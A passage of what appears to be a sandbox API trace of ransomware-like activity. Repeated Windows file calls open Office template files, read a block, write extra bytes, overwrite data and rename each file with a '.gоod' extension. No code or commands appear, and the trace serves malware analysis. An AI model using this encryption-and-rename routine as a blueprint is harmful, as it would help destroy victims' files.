office\\root\\templates\\1033\\personalmonthlybudget.xltx.gоod")) returned 1 [0237.738] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", lpFilePart=0x0) returned 0x44 [0237.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0237.738] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx"), fInfoLevelId=0x0, lpFileInformation=0x36e6960 | out: lpFileInformation=0x36e6960*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7f98f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e590)) returned 1 [0237.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0237.738] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", lpFilePart=0x0) returned 0x44 [0237.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0237.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0237.739] GetFileType (hFile=0x858) returned 0x1 [0237.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0237.739] GetFileType (hFile=0x858) returned 0x1 [0237.739] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0237.739] ReadFile (in: hFile=0x858, lpBuffer=0x36e6d78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x36e6d78*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0239.607] CloseHandle (hObject=0x858) returned 1 [0239.607] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", lpFilePart=0x0) returned 0x44 [0239.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0239.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0239.607] GetFileType (hFile=0x858) returned 0x1 [0239.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0239.607] GetFileType (hFile=0x858) returned 0x1 [0239.607] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x2e590 [0239.608] WriteFile (in: hFile=0x858, lpBuffer=0x37bbc40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x37bbc40*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0241.030] CloseHandle (hObject=0x858) returned 1 [0241.031] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", lpFilePart=0x0) returned 0x44 [0241.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.031] GetFileType (hFile=0x858) returned 0x1 [0241.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.031] GetFileType (hFile=0x858) returned 0x1 [0241.031] ReadFile (in: hFile=0x858, lpBuffer=0x3a3a828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3a3a828*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0241.383] CloseHandle (hObject=0x858) returned 1 [0241.383] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", lpFilePart=0x0) returned 0x44 [0241.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.384] GetFileType (hFile=0x858) returned 0x1 [0241.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.384] GetFileType (hFile=0x858) returned 0x1 [0241.384] WriteFile (in: hFile=0x858, lpBuffer=0x37b9358*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x37b9358*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0241.384] CloseHandle (hObject=0x858) returned 1 [0241.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx", lpFilePart=0x0) returned 0x44 [0241.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx.gоod", lpFilePart=0x0) returned 0x49 [0241.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0241.384] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8c17ca6d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e5a0)) returned 1 [0241.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0241.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Pitchbook.potx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\pitchbook.potx.gоod")) returned 1 [0241.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", lpFilePart=0x0) returned 0x43 [0241.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0241.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx"), fInfoLevelId=0x0, lpFileInformation=0x37e5410 | out: lpFileInformation=0x37e5410*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3b42)) returned 1 [0241.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0241.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", lpFilePart=0x0) returned 0x43 [0241.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.387] GetFileType (hFile=0x858) returned 0x1 [0241.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.387] GetFileType (hFile=0x858) returned 0x1 [0241.387] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0241.387] ReadFile (in: hFile=0x858, lpBuffer=0x37e5818, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x37e5818*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0241.388] CloseHandle (hObject=0x858) returned 1 [0241.388] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", lpFilePart=0x0) returned 0x43 [0241.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.388] GetFileType (hFile=0x858) returned 0x1 [0241.388] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.388] GetFileType (hFile=0x858) returned 0x1 [0241.388] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x3b42 [0241.388] WriteFile (in: hFile=0x858, lpBuffer=0x37e6aa8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x37e6aa8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0241.389] CloseHandle (hObject=0x858) returned 1 [0241.389] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", lpFilePart=0x0) returned 0x43 [0241.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.390] GetFileType (hFile=0x858) returned 0x1 [0241.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.390] GetFileType (hFile=0x858) returned 0x1 [0241.390] ReadFile (in: hFile=0x858, lpBuffer=0x37e8d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x37e8d60*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0241.416] CloseHandle (hObject=0x858) returned 1 [0241.416] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", lpFilePart=0x0) returned 0x43 [0241.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.417] GetFileType (hFile=0x858) returned 0x1 [0241.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.417] GetFileType (hFile=0x858) returned 0x1 [0241.417] WriteFile (in: hFile=0x858, lpBuffer=0x37e7ac0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x37e7ac0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0241.417] CloseHandle (hObject=0x858) returned 1 [0241.417] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX", lpFilePart=0x0) returned 0x43 [0241.417] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX.gоod", lpFilePart=0x0) returned 0x48 [0241.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0241.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x8c1c8ec9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3b52)) returned 1 [0241.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0241.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\PROJPLAN.XLTX.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\projplan.xltx.gоod")) returned 1 [0241.418] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", lpFilePart=0x0) returned 0x43 [0241.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0241.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx"), fInfoLevelId=0x0, lpFileInformation=0x3866188 | out: lpFileInformation=0x3866188*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17697)) returned 1 [0241.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0241.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", lpFilePart=0x0) returned 0x43 [0241.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0241.888] GetFileType (hFile=0x834) returned 0x1 [0241.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.888] GetFileType (hFile=0x834) returned 0x1 [0241.888] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0241.888] ReadFile (in: hFile=0x834, lpBuffer=0x3acf070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3acf070*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0241.889] CloseHandle (hObject=0x834) returned 1 [0241.890] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", lpFilePart=0x0) returned 0x43 [0241.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0241.890] GetFileType (hFile=0x834) returned 0x1 [0241.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.890] GetFileType (hFile=0x834) returned 0x1 [0241.890] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x17697 [0241.890] WriteFile (in: hFile=0x834, lpBuffer=0x3ad0300*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3ad0300*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0241.891] CloseHandle (hObject=0x834) returned 1 [0241.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", lpFilePart=0x0) returned 0x43 [0241.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0241.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0241.891] GetFileType (hFile=0x834) returned 0x1 [0241.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0241.891] GetFileType (hFile=0x834) returned 0x1 [0241.891] ReadFile (in: hFile=0x834, lpBuffer=0x3ad25b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3ad25b8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0242.702] CloseHandle (hObject=0x834) returned 1 [0242.702] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", lpFilePart=0x0) returned 0x43 [0242.702] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0242.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0242.703] GetFileType (hFile=0x834) returned 0x1 [0242.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0242.703] GetFileType (hFile=0x834) returned 0x1 [0242.703] WriteFile (in: hFile=0x834, lpBuffer=0x381ad50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x381ad50*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0242.845] CloseHandle (hObject=0x834) returned 1 [0242.845] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx", lpFilePart=0x0) returned 0x43 [0242.845] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx.gоod", lpFilePart=0x0) returned 0x48 [0242.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0242.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8cf58722, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x176a7)) returned 1 [0242.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0242.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\QuizShow.potx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\quizshow.potx.gоod")) returned 1 [0242.877] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", lpFilePart=0x0) returned 0x4c [0242.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0242.878] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x39e9220 | out: lpFileInformation=0x39e9220*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb86bf6b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb86bf6b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcdbb)) returned 1 [0242.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0242.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx", lpFilePart=0x0) returned 0x4c [0242.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0242.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\RedAndBlackLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\redandblackletter.dotx"), dwDesiredAccess=0xc0000000, 